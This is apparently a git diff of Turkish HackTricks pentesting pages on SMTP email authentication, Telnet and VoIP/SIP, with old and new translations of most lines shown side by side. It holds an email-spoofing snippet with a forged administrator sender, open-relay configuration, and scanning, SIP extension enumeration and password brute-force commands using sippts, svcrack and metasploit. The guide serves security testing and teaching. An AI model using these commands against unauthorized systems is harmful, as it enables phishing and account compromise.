* **`~`**: SOFTFAIL'i belirtir, NEUTRAL ile FAIL arasında bir orta zemin işlevi görür. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir.
* **`~`**: SOFTFAIL'i belirtir, NEUTRAL ile FAIL arasında bir orta zemin olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir.
* **`-`**: FAIL'i belirtir, e-postanın tamamen reddedilmesi gerektiğini önerir.
Gelecek örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edilmesine dikkat edin:
Gelecek örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edildiğine dikkat edin:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
@ -326,9 +326,9 @@ Bir alan adının SPF'sini kontrol etmek için şu çevrimiçi araçları kullan
### DKIM (DomainKeys Identified Mail)
DKIM, dışa giden e-postaları imzalamak için kullanılır ve bu sayede dış Mail Transfer Agents (MTA'lar) tarafından alan adının DNS'inden alınan genel anahtar ile doğrulanmalarını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.
DKIM, dışa giden e-postaları imzalamak için kullanılır ve bunların, alan adının DNS'inden alınan genel anahtar aracılığıyla dış Mail Transfer Agent'ları (MTA'lar) tarafından doğrulanmasına olanak tanır. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.
Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, mail başlığında `DKIM-Signature` içinde bulunabilir, örneğin `d=gmail.com;s=20120113`.
Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, mail başlığında `DKIM-Signature` içinde bulunabilir, örneğin, `d=gmail.com;s=20120113`.
Bu bilgiyi almak için bir komut şöyle görünebilir:
```bash
@ -338,7 +338,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesiyle ilgili olarak, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi politikaları belirler.
DMARC, SPF ve DKIM protokollerinin üzerine inşa edilerek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesiyle ilgili olarak, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi politikaları belirler.
**DMARC kaydını almak için \_dmarc alt alan adını sorgulamanız gerekir**
```bash
@ -359,33 +359,33 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| Etiket Adı | Amaç | Örnek |
| ---------- | -------------------------------------------- | ------------------------------- |
| v | Protokol versiyonu | v=DMARC1 |
| pct | Filtrelemeye tabi tutulan mesajların yüzdesi| pct=20 |
| ruf | Adli raporlar için raporlama URI'si | ruf=mailto:authfail@example.com |
| rua | Toplu raporlar için raporlama URI'si | rua=mailto:aggrep@example.com |
| p | Kurumsal alan için politika | p=quarantine |
| sp | OD'nin alt alanları için politika | sp=reject |
| adkim | DKIM için hizalama modu | adkim=s |
| aspf | SPF için hizalama modu | aspf=r |
| pct | Filtrelemeye tabi olan mesajların yüzdesi | pct=20 |
| ruf | Adli raporlar için raporlama URI'si | ruf=mailto:authfail@example.com |
| rua | Toplu raporlar için raporlama URI'si | rua=mailto:aggrep@example.com |
| p | Kurumsal alan için politika | p=quarantine |
| sp | OD'nin alt alanları için politika | sp=reject |
| adkim | DKIM için hizalama modu | adkim=s |
| aspf | SPF için hizalama modu | aspf=r |
### **Alt Alan Adları Ne Olacak?**
### **Alt Alanlar Ne Olacak?**
**Buradan** [**buraya**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Mail göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.\
Aşağıdaki bilgiler, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.
Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.
> Demon Sorusu: Alt alan adları ne olacak?
> Demon Sorusu: Alt alanlar ne olacak?
>
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanması mantıklı olmaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
> Eğer pielovers.demon.co.uk'den mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri dönüp demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanması mantıklı olmaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
>
> Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.
>
> Yıldız karakterli A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldız karakterli SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
> Yıldızlı A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldızlı SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
Bu mantıklıdır - bir alt alan, çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
### **Açık İletim**
E-postalar gönderildiğinde, spam olarak işaretlenmemelerini sağlamak çok önemlidir. Bu genellikle **alıcı tarafından güvenilen bir iletim sunucusu** kullanılarak sağlanır. Ancak, yaygın bir zorluk, yöneticilerin hangi **IP aralıklarının güvenli olduğunu tam olarak bilmemesidir**. Bu anlayış eksikliği, SMTP sunucusunun kurulumu sırasında hatalara yol açabilir; bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.
E-postalar gönderildiğinde, spam olarak işaretlenmemelerini sağlamak çok önemlidir. Bu genellikle **alıcı tarafından güvenilen bir iletim sunucusu** kullanılarak sağlanır. Ancak, yaygın bir zorluk, yöneticilerin hangi **IP aralıklarının güvenli olduğunu tam olarak bilmemesi**dir. Bu anlayış eksikliği, SMTP sunucusunun kurulumu sırasında hatalara yol açabilir ve bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.
Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde e-posta teslimat sorunlarından kaçınmak için kullandığı bir çözüm, **herhangi bir IP adresinden bağlantılara izin vermektir**. Bu, SMTP sunucusunun `mynetworks` parametresinin tüm IP adreslerini kabul edecek şekilde yapılandırılmasıyla yapılır, aşağıda gösterildiği gibi:
```bash
@ -442,7 +442,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Bu, imzasız bir mesaj gönderecektir
</strong><strong>mail("your_email@gmail.com", "Test Konusu!", "hey! Bu bir test", "From: administrator@victim.com");
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
</strong></code></pre>
{% endtab %}
@ -507,7 +507,7 @@ s.sendmail(sender, [destination], msg_data)
### **Daha fazla bilgi**
**Bu korumalar hakkında daha fazla bilgi bulmak için** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
**Bu korumalar hakkında daha fazla bilgi için** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Diğer oltalama göstergeleri**
@ -520,7 +520,7 @@ s.sendmail(sender, [destination], msg_data)
* Geçerli ve güvenilir bir SSL sertifikasının varlığı
* Sayfanın web içerik filtreleme sitelerine gönderilmesi
## SMTP üzerinden dışa aktarım
## SMTP Üzerinden Exfiltrasyon
**Eğer verileri SMTP üzerinden gönderebiliyorsanız** [**bunu okuyun**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
@ -528,7 +528,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Genellikle, yüklüyse, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering`'in çalıştırılacağını belirtir.
Genellikle, kuruluysa, `/etc/postfix/master.cf` dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında **çalıştırılacak betikleri** içerir. Örneğin `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, kullanıcı mark tarafından yeni bir e-posta alındığında `/etc/postfix/filtering`'in çalıştırılacağını belirtir.
Diğer konfigürasyon dosyaları:
```
@ -593,7 +593,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,16 +17,16 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
**Komutlar:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\
Bu, ilk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adı ile takip edilir.
İlk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adı ile takip edilir.
**EHLO**\
Konuşmayı başlatmak için alternatif bir komut olup, sunucunun Genişletilmiş SMTP protokolünü kullandığını belirtir.
@ -47,7 +47,7 @@ DATA komutu ile e-posta içeriği aktarılmaya başlanır; genellikle sunucu tar
Sunucudan belirli bir e-posta adresinin veya kullanıcı adının gerçekten var olup olmadığını doğrulaması istenir.
**TURN**\
Bu komut, yeni bir bağlantı kurmaya gerek kalmadan istemci ve sunucu arasındaki rolleri tersine çevirmek için kullanılır.
Bu komut, istemci ve sunucu arasındaki rolleri tersine çevirmek için kullanılır, yeni bir bağlantı kurmaya gerek kalmadan.
**AUTH**\
AUTH komutu ile istemci kendini sunucuya kimlik doğrulaması yapar, kullanıcı adı ve şifresini verir. Bu, düzgün bir iletimi garanti etmek için başka bir güvenlik katmanıdır.
@ -56,7 +56,7 @@ AUTH komutu ile istemci kendini sunucuya kimlik doğrulaması yapar, kullanıcı
Devam eden e-posta iletiminin sonlandırılacağını sunucuya bildirir, ancak SMTP konuşması kapatılmaz (QUIT durumunda olduğu gibi).
**EXPN**\
Bu SMTP komutu, bir posta listesinin kimliğinin doğrulanması hakkında onay ister.
Bu SMTP komutu, bir posta listesinin tanımlanması hakkında bir onay talep eder.
**HELP**\
Bu, e-postanın başarılı bir şekilde iletilmesi için faydalı olabilecek bazı bilgileri istemcinin talebidir.
@ -66,9 +66,9 @@ SMTP konuşmasını sonlandırır.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -81,7 +81,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,25 +1,25 @@
# 23 - Pentesting Telnet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,13 +43,13 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
`telnet-ntlm-info.nse` betiği NTLM bilgilerini (Windows sürümleri) alacaktır.
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, bir kullanıcının ve sunucunun TELNET bağlantıları için daha ayrıntılı (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu değiştirmek vb. içerebilir.
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha ayrıntılı (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanımak için "**DO, DON'T, WILL, WON'T**" yapısıyla kullanılabilecek çeşitli "**seçenekler**" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu değiştirmek vb. içerebilir.
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, bu konuda bir bilginiz varsa lütfen bana bildirin.**
**Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl olduğunu bilmiyorum, bu konuda bir bilginiz varsa lütfen bana bildirin.**
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
## Config dosyası
## Config file
```bash
/etc/inetd.conf
/etc/xinetd.d/telnet
@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -104,7 +104,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,9 +17,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -162,7 +162,7 @@ Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimi
Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Müzik gibi otomatik yanıtların varlığı genellikle VoIP kullanıldığını gösterir.
Müzik gibi otomatik yanıtlar, genellikle VoIP kullanıldığını gösterir.
### Google Dorks
```bash
@ -212,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye olanak tanır (ve daha fazlası).
* **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve büyük ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye olanak tanır (ve daha fazlası).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -228,7 +228,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Ek Ağ Keşfi
#### Ek Ağ Numaralandırma
PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:
@ -236,20 +236,20 @@ PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor o
* **80 (HTTP) / 443 (HTTPS)**: Cihazı web üzerinden yönetmek için
* **389 (LDAP)**: Kullanıcı bilgilerini depolamak için alternatif
* **3306 (MySQL)**: MySQL veritabanı
* **5038 (Manager)**: Asterisk'i diğer platformlardan kullanmaya olanak tanır
* **5038 (Manager)**: Asterisk'i diğer platformlardan kullanmaya izin verir
* **5222 (XMPP)**: Jabber kullanarak mesajlar
* **5432 (PostgreSQL)**: PostgreSQL veritabanı
* Ve diğerleri...
### Yöntemler Keşfi
### Yöntem Numaralandırma
PBX'te kullanılabilir **yöntemleri bulmak** için `SIPPTS enumerate` komutunu kullanmak mümkündür [**sippts**](https://github.com/Pepelux/sippts)
PBX'te kullanılabilir **yöntemlerin hangileri olduğunu** bulmak mümkündür `SIPPTS enumerate` kullanarak [**sippts**](https://github.com/Pepelux/sippts)
```bash
sippts enumerate -i 10.10.0.10
```
### Sunucu yanıtlarını analiz etme
Gönderdiğimiz mesajın ve başlıkların türüne bağlı olarak, bir sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) aracılığıyla `SIPPTS send` ile tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.
Gönderdiğimiz mesaj ve başlık türüne bağlı olarak, bir sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) ile `SIPPTS send` kullanarak, tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -269,7 +269,7 @@ svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
* **metasploit**: Ayrıca metasploit ile uzantıları/kullanıcı adlarını sayabilirsiniz:
* **metasploit**: Metasploit ile uzantıları/kullanıcı adlarını da listeleyebilirsiniz:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
@ -283,12 +283,12 @@ enumiax -v -m3 -M3 10.10.0.10
### Şifre Kaba Kuvvet - çevrimiçi
**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Ekip, yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya **`REGISTER` yöntemi** ile **kimlik doğrulaması yapmayı** deneyebilir.
**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Takım, yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya **`REGISTER` yöntemi** ile **kimlik doğrulaması yapmayı** deneyebilir.
{% hint style="danger" %}
Bir **kullanıcı adı** uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...
Eğer kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle denemek için kullanıcı adını bulmanız** gerekecektir.
Eğer kullanıcı adı uzantıyla aynı değilse, onu kaba kuvvetle denemek için **kullanıcı adını bulmanız gerekecek**.
{% endhint %}
* **`svcrack`** SIPVicious'tan (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
@ -296,7 +296,7 @@ Eğer kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle denemek için
